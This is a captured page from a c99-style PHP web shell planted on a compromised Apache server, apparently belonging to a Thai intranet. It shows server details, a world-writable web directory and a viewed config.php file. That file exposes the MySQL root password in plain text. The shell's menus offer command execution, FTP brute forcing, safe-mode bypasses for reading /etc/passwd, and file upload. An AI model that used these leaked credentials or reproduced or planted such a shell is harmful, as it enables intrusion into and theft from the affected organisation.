!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/intranet/   drwxrwxrwx
Free 51.24 GB of 127.8 GB (40.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     config.php (2.32 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">

<title></title>

</head>

<body>
 <?
    
function connDB()
    {
        
$server "localhost";
        
$user "root";
        
$pwd "@14012518";
        
$db "intranet";

            
$conn mysql_connect($server$user$pwd);
            if(!
$conn)
                    die(
"ไม่สามารถติดต่อกับ MySQL ได้");

            
mysql_select_db($db$conn)
                    or die(
"ไม่สามารถติดต่อฐานข้อมูล $db ได้");
    }
    function 
closeDB()
    {
                    
mysql_close();
    }
           
    function 
chkLogin()
    {
        if(
$_SESSION['login'] != "True")
        {
            
session_destroy();
            
header("Location: login.php");
            exit;
        }
    }    
                                  
    function 
msgbox_loc($message,$location)
    {
        echo 
'<script language="javascript">';
        echo 
'alert("'.$message.'");';
        echo 
'location="'.$location.'";';
        echo 
'</script>';
    }

function 
getFullName()
    {                                                                                                                              
            
connDB();
            
$sql =    "select pid, prefix, fname, lname from person";
            
mysql_query("SET NAMES TIS620");
            
$rs mysql_query($sql) or die("SQL = $sql ".mysql_error());
            if (
mysql_num_rows($rs) > 0) {
                   
$row mysql_fetch_array($rs);
                   
$fullName "$row[fname]&nbsp;&nbsp;$row[lname]";
                   
mysql_free_result($rs);
            }                                   
        return 
$fullName;
    }

function 
thMonth($m)
{
        switch(
$m){
        case 
"01":
            print 
"มกราคม";
            break;
        case 
"02":
            print 
"กุมภาพันธ์";
            break;
        case 
"03":
            print 
"มีนาคม";
            break;
        case 
"04":
            print 
"เมษายน";
            break;
         case 
"05":
            print 
"พฤษภาคม";
            break;
         case 
"06":
            print 
"มิถุนายน";
            break;
         case 
"07":
            print 
"กรกฎาคม";
            break;
         case 
"08":
            print 
"สิงหาคม";
            break;
         case 
"09":
            print 
"กันยายน";
            break;
         case 
"10":
            print 
"ตุลาคม";
            break;
         case 
"11":
            print 
"พฤศจิกายน";
            break;
         case 
"12":
            print 
"ธันวาคม";
            break;
        }

}
?>  
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.011 ]--